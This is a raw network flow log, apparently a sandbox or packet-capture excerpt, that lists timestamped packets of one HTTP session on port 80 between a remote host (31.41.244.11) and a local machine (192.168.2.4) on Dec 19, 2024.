Dec 19, 2024 20:11:38.379734039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.379784107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.380690098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.380738974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.380817890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.380888939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.381850958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.381903887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.381957054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.382008076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.382962942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.383008003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.383064985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.383126020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.384082079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.384129047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.384193897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.384237051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.385237932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.385288954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.385462046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.385505915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.386413097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.386461973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.386478901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.386533022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.387475967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.387527943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.387576103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.387625933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.388622999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.388675928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.388844013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.388892889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.389765024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.389818907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.389843941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.389888048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.390821934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.390907049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.390937090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.390990019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.392154932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.392204046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.392251968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.392292976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.393075943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.393136978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.393182039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.393220901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.394221067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.394273043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.394306898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.394350052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.395342112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.395407915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.529007912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.529074907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.529076099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.529150009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.529504061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.529550076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.529582024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.529624939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.530638933 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.530702114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.530735970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.530781984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.531743050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.531791925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.531877995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.531928062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.532854080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.532907009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.533139944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.533196926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.534053087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.534107924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.534140110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.534185886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.535141945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.535192013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.535268068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.535408974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.536262035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.536309958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.536344051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.536384106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.537638903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.537683010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.537713051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.537755013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.538732052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.538780928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.538813114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.538866043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.539696932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.539750099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.539827108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.539877892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.540735960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.540782928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.540838957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.540904045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.541902065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.541944981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.542058945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.542100906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.543020010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.543061018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.543091059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.543131113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.544148922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.544198990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.544375896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.544425964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.545253992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.545303106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.545356035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.545399904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.546384096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.546426058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.546499968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.546540976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.547509909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.547557116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.547605991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.547646046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.548677921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.548724890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.548751116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.548799038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.549743891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.549787998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.550034046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.550077915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.551023960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.551094055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.551184893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.551234007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.552196980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.552249908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.552413940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.552475929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.553323984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.553371906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.553452015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.553502083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.554297924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.554343939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.554369926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.554419041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.555350065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.555393934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.555463076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.555509090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.556492090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.556536913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.556569099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.556618929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.557718992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.557764053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.557792902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.557837009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.558777094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.558820963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.558959007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.558995962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.559900045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.559946060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.560084105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.560122967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.560970068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.561033964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.561120987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.561168909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.562103987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.562150002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.562207937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.562246084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.563229084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.563276052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.563431025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.563477993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.564357996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.564400911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.564496040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.564538956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.565553904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.565599918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.565628052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.565671921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.566607952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.566651106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.566725016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.566768885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.567765951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.567819118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.567903042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.567962885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.568909883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.568960905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.568979025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.569026947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.570025921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.570079088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.570152044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.570199966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.571285009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.571335077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.571454048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.571492910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.572357893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.572398901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.572431087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.572474957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.573468924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.573515892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.573573112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.573611975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.574506998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.574548006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.574711084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.574754000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.575596094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.575643063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.575704098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.575745106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.576713085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.576775074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.576806068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.576863050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.577877998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.577933073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.577965021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.578007936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.578979015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.579020023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.579097986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.579142094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.580168962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.580228090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.580256939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.580297947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.581259966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.581305981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.581366062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.581398964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.582346916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.582396030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.582470894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.582520962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.583484888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.583518028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.583574057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.583620071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.584582090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.584630013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.584686041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.584724903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.585719109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.585762978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.585825920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.585872889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.586908102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.586960077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.586987019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.587038994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.587934971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.587990046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.721151114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.721226931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.721262932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.721462011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.721668959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.721807957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.722138882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.722556114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.722664118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.722690105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.722762108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.723707914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.723808050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.723814011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.723870039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.724857092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.724940062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.725023031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.725936890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.726037025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.726041079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.726161957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.727055073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.727289915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.727363110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.727615118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.728194952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.728302002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.728317976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.728435993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.729291916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.729399920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.729425907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.730460882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.730550051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.730552912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.730624914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.731570959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.731661081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.731677055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.731812954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.732711077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.732803106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.732855082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.733022928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.733865976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.734019041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.734019995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.734095097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.734991074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.735055923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.735079050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.735794067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.736078978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.736191988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.736237049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.736371994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.737176895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.737306118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.737560034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.738368988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.738507032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.738537073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.739437103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.739546061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.739547014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.739676952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:38.740564108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.740714073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:38.740727901 CET	49842	80	192.168.2.4	31.41.244.11
